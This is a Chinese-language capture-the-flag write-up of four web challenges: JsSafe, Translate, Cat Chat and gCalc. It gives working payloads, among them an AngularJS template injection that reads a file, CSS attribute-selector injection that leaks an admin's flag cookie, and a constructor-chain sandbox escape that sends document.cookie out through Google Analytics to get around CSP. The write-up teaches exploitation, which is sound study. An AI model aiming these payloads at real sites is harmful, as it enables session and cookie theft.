JsSafe

题目给出附件,可以看出该题主要思路为反混淆代码,求出符合条件的数值,其中的关键代码经过美化为:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45

function x(х) {
ord = Function.prototype.call.bind(''.charCodeAt);
chr = String.fromCharCode;
str = String;

function h(s) {
for (i = 0; i != s.length; i++) {
a = ((typeof a == 'undefined' ? 1 : a) + ord(str(s[i]))) % 65521;
b = ((typeof b == 'undefined' ? 0 : b) + a) % 65521
}
return chr(b >> 8) + chr(b & 0xFF) + chr(a >> 8) + chr(a & 0xFF)
}

function c(a, b, c) {
for (i = 0; i != a.length; i++) c = (c || '') + chr(ord(str(a[i])) ^ ord(str(b[i % b.length])));
return c
}
for (a = 0; a != 1000; a++) debugger;
x = h(str(x));
source = /Ӈ#7ùª9¨M¤ŸÀ.áÔ¥6¦¨¹.ÿÓÂ.։£JºÓ¹WþʖmãÖÚG¤…¢dÈ9&òªћ#³­1᧨/;
source.toString = function() {
return c(source, x)
};
try {
console.log('debug', source);
with(source) return eval('eval(c(source,x))')
} catch (e) {}
}

function open_safe() {
keyhole.disabled = true;
password = /^CTF{([0-9a-zA-Z_@!?-]+)}$/.exec(keyhole.value);
if (!password || !x(password[1])) return document.body.className = 'denied';
document.body.className = 'granted';
password = Array.from(password[1]).map(c => c.charCodeAt());
encrypted = JSON.parse(localStorage.content || '');
content.value = encrypted.map((c, i) => c ^ password[i % password.length]).map(String.fromCharCode).join('')
}


function save() {
plaintext = Array.from(content.value).map(c => c.charCodeAt());
localStorage.content = JSON.stringify(plaintext.map((c, i) => c ^ password[i % password.length]));
}

在输入key完成后,会触发open_safe函数,随即进入

password = /^CTF{([0-9a-zA-Z_@!?-]+)}$/.exec(keyhole.value);

这里通过正则限制了传入的key的格式,只能传入

数字 字母 下划线 @ ! ? -

等字符,正则匹配不符合则直接进入

if (!password || !x(password[1])) return document.body.className = ‘denied’;

若正则匹配,还需要进行

!x(password[1])

跟入 x() ,先大概看下x函数的流程:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29

function x(х) {
ord = Function.prototype.call.bind(''.charCodeAt);
chr = String.fromCharCode;
str = String;

function h(s) {
for (i = 0; i != s.length; i++) {
a = ((typeof a == 'undefined' ? 1 : a) + ord(str(s[i]))) % 65521;
b = ((typeof b == 'undefined' ? 0 : b) + a) % 65521
}
return chr(b >> 8) + chr(b & 0xFF) + chr(a >> 8) + chr(a & 0xFF)
}

function c(a, b, c) {
for (i = 0; i != a.length; i++) c = (c || '') + chr(ord(str(a[i])) ^ ord(str(b[i % b.length])));
return c
}
for (a = 0; a != 1000; a++) debugger;
x = h(str(x));
source = /Ӈ#7ùª9¨M¤ŸÀ.áÔ¥6¦¨¹.ÿÓÂ.։£JºÓ¹WþʖmãÖÚG¤…¢dÈ9&òªћ#³­1᧨/;
source.toString = function() {
return c(source, x)
};
try {
console.log('debug', source);
with(source) return eval('eval(c(source,x))')
} catch (e) {}
}

首先是创建了ordchrstr这三个函数,分别对应charCodeAtfromCharCodeString函数.接着又创建了h(),c()函数,其中h()函数可以大致判断为hash一类的函数,c()函数作用类似,接着是一个for循环包裹的debugger反调试,在浏览器中进行调试时,只需要在console里输入a=999即可进行绕过。接着是对x的处理,这里我观察到x并未声明,但是使用Vscode可以分析出x为 function x(x:any):any ,即处理任意输入的x函数

随后处理source,进入try语句

1
return eval('eval(c(source,x))')

因为我们需要返回一个true,因此 c(source,x) 返回值为true,仔细观察 c() 的逻辑:

1
2
3
4
5

function c(a, b, c) {
for (i = 0; i != a.length; i++) c = (c || '') + chr(ord(str(a[i])) ^ ord(str(b[i % b.length])));
return c
}

可以看出主要是一个异或操作,再跟入x,x是使用h(str(x))生成的,细节如下:

1
2
3
4
5
6
7
8

function h(s) {
for (i = 0; i != s.length; i++) {
a = ((typeof a == 'undefined' ? 1 : a) + ord(str(s[i]))) % 65521;
b = ((typeof b == 'undefined' ? 0 : b) + a) % 65521
}
return chr(b >> 8) + chr(b & 0xFF) + chr(a >> 8) + chr(a & 0xFF)
}

a是s每一位的ascii码之和模65521,b是每一轮a值的和的模65521。

因此可以知道得到目标key的思路为:

  1. 对key进行h函数处理
  2. 对source、key进行c函数处理
  3. 当c函数处理结果为真时,返回

就可以写出exp了

Translate

题目下方有几个链接,分别对应French to EnEn To FrenchAdd Worddebug page,Reset

查看源码发现有ng-if,知道了是用Angular进行渲染的。debug页面是Json数据,将English的数据格式化之后为:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31

english dictionary: {
"lang": "en",
"translate": "Translate",
"not_found": "I don't know that word, sorry.",
"in_lang_query_is_spelled": "In french, {{userQuery}} is spelled .",
"input_query": "What French word do you want to translate into English?
A few examples: informatique en nuage,
téléverser ","
title ":"
Translation utility
for technical terms in French and English ","
subtitle ":"
In the current pluri - polarized great powers context,
internationalization is the key
for good trans - border understanding between tech workers.
","
informatique en nuage ":"
cloud computing ","
mot - dièse ":"
hashtag ","
courriel ":"
email ","
téléverser ":"
upload ","
ordiphone ":"
smartphone ","
original_word ":"
Word to translate ","
a ":"
a "}

french数据格式化为:

1
2
3
4
5
6
7
8
9
10
11
12
french dictionary: {
"lang": "fr",
"translate": "Traduire",
"not_found": "Je ne connais pas ce mot, désolé.",
"in_lang_query_is_spelled": "En francais, {{userQuery}} s'écrit .",
"input_query": "Quel mot anglais voulez-vous traduire en français ?
Quelques exemples: cloud computing,
to upload ","
title ":"
Application de traduction de termes techniques entre français et anglais ","
subtitle ":"
Dans notre contexte actuel de multipolarisation des puissances,internationalisation est critique au bon entendement transfrontalier des travailleurs des TIC.","upload":"téléverser","cloud computing":"informatique en nuage","hashtag":"mot-dièse","email":"courriel","original_word":"Mot à traduire","{{1+1}}test":"asx"}

这里我之前添加过一个数据2<a>test</a>,但是在french的数据里,只出现了2test,查看源码,发现<a>已经被解析成了标签,因此这里可能存在问题。

题目描述里需要我们去读文件,因此这个题目应该不需要我们去构造XSS,结合之前已经得知页面使用的Angular渲染,尝试从Angular本身的语法去进行攻击。

于是创建ng-include属性:

1
<div ng-include="flag.txt"></div>

但是发现引入文件失败,好想跟我猜想的不太一样…

仔细观察json数据,我们可以发现,json中的input_query会在最开始的页面显示,因此我们可以通过add word页面重写input_query的翻译值,传入2,发现返回2,确认执行成功。

题目让我们要读取文件,因此接下来需要绕过Angular沙盒读取文件,读取文件是无法仅用原生Js来完成的,所以需要搭配Angular来完成,翻了几个小时的文档,发现可以使用template来引入文件,加之从源码得到到i18n可以构造出payload:

1
{{i18n.template("flag.txt")}}

即可得到flag

Cat Chat

点开页面,可以获得源码,先分析源码,首先可以知道页面是使用Express写的,有以下路由:

1
2
3
4
5
6
7
8
9
/room/${uuidv4()}/

/room/${uuidv4()}/send

/room/${uuidv4()}/receive

/server.js

/catchat.js

其中send路由下有四个switch分支,/secret分支中会将flag设置为cookie,但是我们是不需要自己的cookie的,因此这个题目应该是个XSS,结合题目是个聊天室,因此我们需要使用xss获取payload。

在switch分支上的else if (msg[0] != '/')判断会将用户的输入向所有用户广播。

catchat.js中有一句非常关键:

1
2
3
4
if (msg.match(/dog/i)) {
send("/ban ${name}");
send("As I said, d*g talk will not be tolerated.");
}

可以看到admin用户会在ban这个操作中将用户名直接代入执行,因此这里可能就是攻击点。

以这个为基础,构造的攻击思路为:

  1. 用户A邀请用户B到当前房间
  2. 用户A发表dog言论
  3. 用户B举报A
  4. Admin进入房间并执行ban操作

观察CSP规则,基本是无法适用script标签进行绕过了。

但是对于CSS是没有太多限制的,ban对应的代码为:

1
2
3
4
5
6
7
8
9
ban(data) {
if (data.name == localStorage.name) {
document.cookie = 'banned=1; Path=/';
sse.close();
display('You have been banned and from now on won't be able to receive and send messages.');
} else {
display("${esc(data.name)} was banned.<style>span[data-name^=${esc(data.name)}] { color: red; }</style>");
}
},

于是想到了之前打RCTF看到的一个骚操作:

这个攻击手法就是利用CSS的属性选择器进行匹配查找,文档如下:

但是又有新的问题了,这个显示的flag是修改后的,我们需要的是原本的flag,开始尝试绕过。

/secret命令会将后面的参数直接拼接到cookie中,源码为:

1
2
3
4
5

case '/secret':
if (!(arg = msg.match(/\/secret (.+)/))) break;
res.setHeader('Set-Cookie', 'flag=' + arg[1] + '; Path=/; Max-Age=31536000');
response = {type: 'secret'};

继续看发送部分的源码:

1
2
3
4
5
6
7
8
9
10
11
12
13
window.addEventListener('load', function() {
messagebox.addEventListener('keydown', function(event) {
if (event.keyCode == 13 && messagebox.value != '') {
if (messagebox.value == '/report') {
grecaptcha.execute(recaptcha_id, {action: 'report'}).then((token) => send('/report ' + token));
} else {
send(messagebox.value);
}
messagebox.value = '';
}
});
send('Hi all');
});

继续看send方法:

1
2
3

let send = (msg) => fetch("send?name=${encodeURIComponent(localStorage.name)}&msg=${encodeURIComponent(msg)}",
{credentials: 'include'}).then((res) => res.json()).then(handle);

最后看看handle部分:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
function handle(data) {
({
undefined(data) {},
error(data) { display("Something went wrong :/ Check the console for error message."); console.error(data); },
name(data) { display("${esc(data.old)} is now known as ${esc(data.name)}"); },
rename(data) { localStorage.name = data.name; },
secret(data) { display("Successfully changed secret to <span data-secret="${esc(cookie('flag'))}">*****</span>"); },
msg(data) {
let you = (data.name == localStorage.name) ? ' (you)' : '';
if (!you && data.msg == 'Hi all') send('Hi');
display("<span data-name="${esc(data.name)}">${esc(data.name)}${you}</span>: <span>${esc(data.msg)}</span>");
},
ban(data) {
if (data.name == localStorage.name) {
document.cookie = 'banned=1; Path=/';
sse.close();
display("You have been banned and from now on won't be able to receive and send messages.");
} else {
display("${esc(data.name)} was banned.<style>span[data-name^=${esc(data.name)}] { color: red; }</style>");
}
},
})[data.type](data);
}

可以看到这一句:

1
secret(data) { display("Successfully changed secret to <span data-secret="${esc(cookie('flag'))}">*****</span>"); }

因此处理逻辑如下:

/secret --> send() --> handle() -->display

我们需要在display这一步获得未被修改的flag,这里需要使用到cookie的一个tip,我们可以通过设置domain参数来将send()这一步的cookie设置到其他域名下去,这样就不会干扰到正常的flag.

因此可以完成攻击:

how about dog?

/name a ] {background:url(/room/41f4aab8-577a-4cf0-8948-7afd4e8e0d47/send?name=admin&msg=/secret a; Domain=xxx.com);} {} span[data-secret^=CTF{] {background:url(/room/84b4b69a-d01d-45c3-b2c5-eb5d55abd734/send?name=admin&msg=CTF);}

/report

gCalc

首先给了我们一个计算器页面,其中有两个链接,一个是permalink,一个是try it

随意尝试了下计算器的点击,发现并没有什么异常,此时再点击permalink,返回一个url

1
https://gcalc2.web.ctfcompetition.com/?expr=6*3&vars={ "pi ":3.14159%2C "ans ":0}

编码一下就是

https://gcalc2.web.ctfcompetition.com/?expr=6*3&vars={“pi”:3.14159,“ans”:0}

可以看到,expr参数对应的是我们的计算式,而vars参数则对应定义的变量。如果在我们的计算式里包含了π,则会产生如下的url

https://gcalc2.web.ctfcompetition.com/?expr=6*3 vars.pi&vars={“pi”:3.14159,“ans”:0}

可以发现,π此类变量是通过vars来调用的。

try it链接点击后会发送数据

https://sandbox-gcalc2.web.ctfcompetition.com/report

数据格式如下:

1
2
3
4
5
{
"expr":"",
"vars":"{\"pi\":3.14159,\"ans\":0}",
"recaptcha":"03ACgFB9vFkpWHsefHDroUbtLyvPX8NPVXNMNGCF7KqUrfnZvBJxktyHeHKiRb7jnGeSHjjC41mKoFwQaHmrmTv_DNCFf6A7_JNSMtRkor2qELH9E6C5ZMnstpC0FphgFAYHGYNQovlPXOuH7eGM0p3PEDrvaGptUsQmgpVmjqs1BQDTlgMzRK6sc7f4PcgjRpLdqHlPQWqR2T_lPt1wZMNUQaZX_jmsSfrKzt3mYAQZUAjtUwPdYPtX7mkdcycub5hPoEhgbNkddp7BC1ZNtyjwaFpuSCsQNFZmLlwiFJtooeyvg-v4iQBC80rH0ia7cgmS5NTyabgP6r69GpE4Z67rgT9FCSJw-T9QYzJ5RPr25pzjJGLOCClf1M3Bkv_cQopT_SHOLbRvLbtCat48-VnSHOUJjWFez17Vur6rdB_CIBDwJ1GUdy4Ie5AEOP5ojFI2LrgtV2WGYY8ZMTikcVLxR83DYEyLb_Hr3ap9qIQvc8TZNqQNc_34U"
}

同时,根据Computer too slow? Try it on our i386 beowulf cluster.可以推测出我们的计算式在被发送后会被解析,这也就意味着vars.pi这一类的变量会被解析。

那么下一步的思路就是:通过构造vars,使得服务端解析计算式时触发xss

我们可以在页面中发现计算器的源码,其中涉及到vars以及expr构造的代码为:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19

function p(a, b) {
a = String(a).toLowerCase();
b = String(b);
if (!/^(?:[\(\)\*\/\+%\-0-9 ]|\bvars\b|[.]\w+)*$/.test(a)) throw Error(a);
b = JSON.parse(b, function(a, b) {
if (b && "object" === typeof b && !Array.isArray(b)) return Object.assign(Object.create(null), b);
if ("number" === typeof b) return b
});
return (new Function("vars", "return " + a))(b)
}

function r(a) {
try {
return p(a.a, JSON.stringify(a.b))
} catch (b) {
return "Error"
}
}

其中,源码对a的格式进行了限制,将正则表达式放入正则分析的网站,可以得到分析结果,我们带入的变量必须以vars.开头,并且可以代入括号,比如:(vars.pi(vars.pi()))便可以进行匹配。因此我们需要构造一个使用括号与点就能完成攻击的paylaod。因为使用了toLowerCase(),因此常见的函数如:fromCharCodetoString()这一类都是无法使用的,然后在这里卡住了…

随后在github上看到了使用constructor来进行xss的payload,可以做到只使用点和括号完成攻击。然后使用payload

https://gcalc2.web.ctfcompetition.com/?expr=constructor.constructor(vars.c)&vars={ "pi ":3.14159, "ans ":0, "c ": "alert(1) "}

然而失败了Orz…

随后把我的payload放进正则匹配的网站试了下,发现是正则匹配出了问题,继续分析正则,随后我又构造出了一个payload

https://sandbox-gcalc2.web.ctfcompetition.com/static/calc.html?expr=(1).constructor.constructor(vars.c)()&vars={ "pi ":3.14159, "ans ":0, "c ": "alert(1) "}

这个payload在我本地可以成功执行,但是在题目中却失效了。

后面经过师傅的提醒,发现key-value对中,只能使用数字作为value,因此只能将我们的payload放在键值中。分析一下payload的结构,首先使用(1).constructor.constructor引入function,控制台里输出的内容是:ƒ Function() { [native code] },因此需要在构造器中传入我们的函数,所以我们可以构造出

1
2

vars = {"pi":3.14159,"ans":0,"alert(1)":0}

如果想要执行alert函数,那么我们需要将alert代入构造函数中,因此我们可以使用keys.pop(),而keys的语法为Object.keys(),因此我还需要构造一个Object,最终payload为

1
2

https://sandbox-gcalc2.web.ctfcompetition.com/static/calc.html?expr=(1).constructor.constructor((1*1).__proto__.__proto__.constructor.keys(vars).pop())()&vars={"pi":3.14159,"ans":0,"alert(1)":0}

原理如下:

keys函数需要Object对象触发,因此我们需要构造一个Object,可以使用的符号包括 * / + _ ? 使用以上符号构造表达式,查看属性,其中我看到(1*1)的原型链中出现了Object,但是需要两次调用,可以构造(1*1).__proto__.__proto__.constructor.keys(vars).pop()来获取alert(1)

现在可以执行alert了,但是网页仍然存在CSP头,先看看CSP:

1
2
3
4
5
6
7
8
9
10
11
12
13
14

default-src 'self';

frame-ancestors https://gcalc2.web.ctfcompetition.com/;

font-src https://fonts.gstatic.com;

style-src 'self' https://*.googleapis.com 'unsafe-inline';

script-src 'self' https://www.google.com/recaptcha/ https://www.gstatic.com/recaptcha/ https://www.google-analytics.com https://*.googleapis.com 'unsafe-eval' https://www.googletagmanager.com;

child-src https://www.google.com/recaptcha/;

img-src https://www.google-analytics.com;

重点在最后一条规则 img-src,我们可以通过设置GA,并将img标签的src设置为对应的网页,即可获取cookie,payload如下

1
2

https://sandbox-gcalc2.web.ctfcompetition.com/static/calc.html?expr=(1).constructor.constructor((1*1).__proto__.__proto__.constructor.keys(vars).pop())()&vars={ "pi ":3.14159, "ans ":0, "x%3Ddocument.createElement(%27img%27);x.src%3D%27https:%2F%2Fwww.google-analytics.com%2Fr%2Fcollect%3Fv%3D1&tid=UA-121644461-1&cid=00000000000000000&t=event&ec=email&ea=%27%20encodeURIComponent(document.cookie);document.querySelector(%27body%27).append(x) ":0}